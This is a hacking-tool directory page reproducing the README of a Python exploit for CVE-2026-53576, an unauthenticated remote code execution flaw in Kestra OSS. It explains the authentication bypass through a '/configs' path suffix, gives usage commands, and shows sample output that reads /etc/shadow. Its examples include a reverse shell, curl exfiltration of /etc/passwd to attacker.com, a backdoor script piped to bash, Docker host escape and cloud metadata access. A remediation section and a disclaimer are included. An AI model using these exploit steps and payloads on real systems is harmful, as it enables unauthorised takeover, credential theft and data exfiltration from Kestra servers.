Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-53576 — Kestra Unauthenticated RCE Exploit (CVE-2026-53576) | Kitploit
Tools/GitHubGitHub/tamatahyt/cve-2026-53576
Authentication & AuthorizationPrivilege EscalationExploitationWeb Application ExploitationData ExfiltrationPost-ExploitationPenetration TestingRed TeamingPayload DevelopmentContainer Escape
GitHubtamatahyt/cve-2026-53576
41 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-53576

Kestra Unauthenticated RCE Exploit (CVE-2026-53576)

View Repository

Kestra Unauthenticated RCE Exploit (CVE-2026-53576)

Python License Security Kestra

Critical Authentication Bypass leading to Unauthenticated Remote Code Execution

Exploit • Vulnerability Details • Impact • Remediation


⚠️ DISCLAIMER

This tool is for educational and authorized security testing purposes only.

  • DO NOT use this against systems you don't own or lack explicit written permission to test.
  • DO NOT use this for illegal activities.
  • The author is NOT responsible for any misuse of this tool.
  • Use at your OWN RISK.

📋 Table of Contents

  • Overview
  • Vulnerability Details
  • Exploit Usage
  • Installation
  • Examples
  • Impact
  • Remediation
  • Timeline
  • References
  • License

🔍 Overview

CVE-2026-53576 is a critical vulnerability in Kestra OSS versions up to v1.3.20 that allows unauthenticated remote code execution via an authentication filter bypass.

Key Details


🚨 Vulnerability Details

Root Cause

The authentication filter in Kestra contains a critical logic flaw:

root@kitploit:~
// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")

This checks if any API request ends with /configs, rather than matching the exact route. This allows attackers to bypass authentication by appending /configs to any endpoint.

Exploitation Steps

  1. Create malicious flow → POST /api/v1/main/flows/configs (bypasses auth)
  2. Trigger execution → POST /api/v1/main/executions/configs/configs (bypasses auth)
  3. Commands run as root → Full system compromise

Vulnerable Endpoints

root@kitploit:~
# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs          # Create flows
/api/v1/main/executions/configs/configs  # Execute flows
/api/v1/{tenant}/flows/configs      # Any tenant
/api/v1/{tenant}/executions/configs/configs  # Any tenant

💻 Exploit Usage

Basic Usage

root@kitploit:~
python3 kestra_exploit.py <target_ip>

Advanced Usage

root@kitploit:~
# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080

# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https

# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"

# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check

# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup

# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"

Command Options


📦 Installation

Requirements

root@kitploit:~
pip install requests

Clone Repository

root@kitploit:~
git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576

Verify Installation

root@kitploit:~
python3 kestra_exploit.py --help

🎯 Examples

Example 1: Basic Exploitation

root@kitploit:~
python3 kestra_exploit.py 192.168.1.100

Output:

root@kitploit:~
============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================

[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26

[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED

[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS

[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
    - /tmp/proof.txt containing command output
    - Kestra UI execution logs
    - Web UI: http://192.168.1.100:8080/ui/

Example 2: Reverse Shell

root@kitploit:~
python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"

Example 3: Data Exfiltration

root@kitploit:~
python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"

Example 4: Docker Escape Check

root@kitploit:~
python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup

💥 Impact

Direct Impact

Attack Capabilities

An unauthenticated attacker can:

  1. Execute arbitrary commands as root:

    root@kitploit:~
    # Read secrets
    cat /app/conf/application.yml
    
    # Reverse shell
    bash -i >& /dev/tcp/attacker.com/4444 0>&1
    
    # Install malware
    curl http://attacker.com/backdoor.sh | bash
    
  2. Pivot to host system (if Docker socket mounted):

    root@kitploit:~
    docker run -v /:/host --privileged alpine chroot /host
    
  3. Access cloud metadata (if on cloud provider):

    root@kitploit:~
    curl http://169.254.169.254/latest/meta-data/
    

🛡️ Remediation

Immediate Actions

  1. Shut down vulnerable instances:

    root@kitploit:~
    sudo systemctl stop kestra
    
  2. Block public access:

    root@kitploit:~
    iptables -A INPUT -p tcp --dport 8080 -j DROP
    
  3. Apply firewall rules:

    • Restrict to internal networks
    • Use VPN for administrative access

Permanent Fix

  1. Update Kestra to the latest patched version:

    • Monitor: https://github.com/kestra-io/kestra
    • Check: https://github.com/kestra-io/kestra/security/advisories/GHSA-2q47-568g-9h4f
  2. Implement proper authentication:

    • Use OAuth2/OIDC instead of Basic Auth
    • Enable multi-factor authentication
  3. Container hardening:

    • Run as non-root user
    • Don't mount /var/run/docker.sock
    • Use read-only root filesystem
  4. Network hardening:

    • Use API gateway with proper routing
    • Implement WAF rules
    • Enable request validation

📅 Timeline

DateEvent
2026-05-26Vulnerability discovered
2026-06-03Kestra Security Advisory published
2026-06-10CVE-2026-53576 assigned

📚 References

  • Kestra Security Advisory GHSA-2q47-568g-9h4f
  • Huawei PSIRT
  • CVE-2026-53576 Details
  • OWASP Top 10 - Broken Access Control

📄 License

root@kitploit:~
MIT License

Copyright (c) 2026 Security Researcher

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

⭐ Support

If you find this tool useful:

  • ⭐ Star the repository
  • 🐛 Report issues
  • 🔄 Submit pull requests
  • 📢 Share responsibly

🙏 Acknowledgments

  • Kestra Team for their security advisory
  • Security researchers who disclosed this vulnerability
  • The open-source security community

⚠️ USE RESPONSIBLY ⚠️

Report Vulnerability • Security Policy • Contact

Download Tool
AttributeValue
CVE IDCVE-2026-53576
SeverityCritical (9.8 CVSS)
Vulnerability TypeAuthentication Bypass + RCE
Affected ProductKestra OSS
Affected Versions≤ v1.3.20
Attack VectorNetwork
Authentication RequiredNone
User InteractionNone
OptionDescription
targetTarget IP address or hostname (required)
-p, --portPort (default: 8080)
--httpsUse HTTPS instead of HTTP
-c, --commandCustom command to execute
--docker-checkCheck for Docker socket access
--cleanupDelete the flow after exploitation
--delayDelay between requests (default: 2s)
CategorySeverityDescription
Confidentiality⚠️ CriticalRead any file (passwords, secrets, configurations)
Integrity⚠️ CriticalCreate/modify/delete flows and data
Availability⚠️ HighShutdown system, resource exhaustion
Authentication⚠️ CriticalComplete bypass of Basic-Auth
Privilege Escalation⚠️ CriticalCommands run as root (uid=0)
Container Escape⚠️ CriticalHost compromise via Docker socket
2026-06-15Public disclosure
2026-08-01PoC published